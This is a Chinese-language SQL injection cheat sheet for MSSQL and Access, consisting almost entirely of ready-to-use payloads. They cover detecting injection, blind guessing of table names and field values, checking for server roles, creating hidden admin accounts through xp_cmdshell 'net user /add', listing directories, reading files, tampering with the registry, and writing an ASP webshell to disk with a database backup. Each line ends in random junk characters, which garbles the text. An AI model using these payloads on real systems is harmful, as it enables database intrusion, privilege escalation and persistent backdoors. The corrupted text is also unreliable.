1.判断是否有注入;and 1=1 ;and 1=2 d@JjqE[
2.初步判断是否是mssql ;and user>0 >S,yqKp37~
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3.注入参数是字符'and [查询条件] and ''=' 2c
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' FIDV5Y/f
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5.判断数据库系统 ,C1}gPQ6<
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;and (select count(*) from sysobjects)>0 mssql |VQ17*4ff1
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;and (select count(*) from msysobjects)>0 access 9@/X;zO
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 Z9,-FO{#3-
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $aDAD4mmm
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 XEl-5-M"
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9.(1)猜字段的ascii值(access) GH[ATL
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 &c>%E%!"
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(2)猜字段的ascii值(mssql) B|XrjI?
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 =z#6mSx|W
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10.测试权限结构(mssql) /6",#B}%b
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Z$jqB~=^e
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- *Cf5D6=Q
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- rZ`+g7&^Fh
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- qHVZsZ
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Kcl~cIh7 7
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- PzF>yG[
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;and 1=(select IS_MEMBER('db_owner'));-- }Um,wY[tK
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11.添加mssql和系统的帐户 dbga >j
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;exec master.dbo.sp_addlogin username;-- Rp^fY_
;exec master.dbo.sp_password null,username,password;-- At<D36,^"
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- _p*a`,tK
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;exec master.dbo.xp_cmdshell 'net user username password ~#MXhhqB
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- !}lCwV
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- je;C}4
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- o[^nmHrM2
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12.(1)遍历目录 3-/F]}0y6
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;create table dirs(paths varchar(100), id int) icK>|
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;insert dirs exec master.dbo.xp_dirtree 'c:\' eC{St0
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;and (select top 1 paths from dirs)>0 <EKTFHJ!
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) m)l'i!Y
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(2)遍历目录 "T@9#7Obu
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- D_q"|D$SB
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7v&>d,
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ]T<tkvcI
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 MWv(/_b
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13.mssql中的存储过程 JU#m?4g
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xp_regenumvalues 注册表根键, 子键 "m%EFWUOl
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 pAws{3(Q
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xp_regread 根键,子键,键值名 _+j#.o>
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 9;Q|"
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xp_regwrite 根键,子键, 值名, 值类型, 值 aoQ$"PF9
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 f/QwXO-U
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xp_regdeletevalue 根键,子键,值名 0NK|3]p
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 u* G+=aV.6
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 O^PN{u
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14.mssql的backup创建webshell mMvAA;
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use model 5$$#d_Gj
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create table cmd(str image); yh/JHo;
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insert into cmd(str) values (''); +$Y*1{hyOo
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backup database model to disk='c:\l.asp'; eY-h<K)y
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15.mssql内置函数 U{j4FlB
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;and (select @@version)>0 获得Windows的版本号 Z\]{{;%4b7
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 9^9-\DG
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;and (select user_name())>0 爆当前系统的连接用户 zVa&4 T-
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;and (select db_name())>0 得到当前连接的数据库 pF7N = mO
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16.简洁的webshell mE5{)<N:C
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use model E#_2t)20
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create table cmd(str image); <i4]qO(0u
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insert into cmd(str) values (''); nu7 R
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backup database model to disk='g:\wwwtest\l.asp';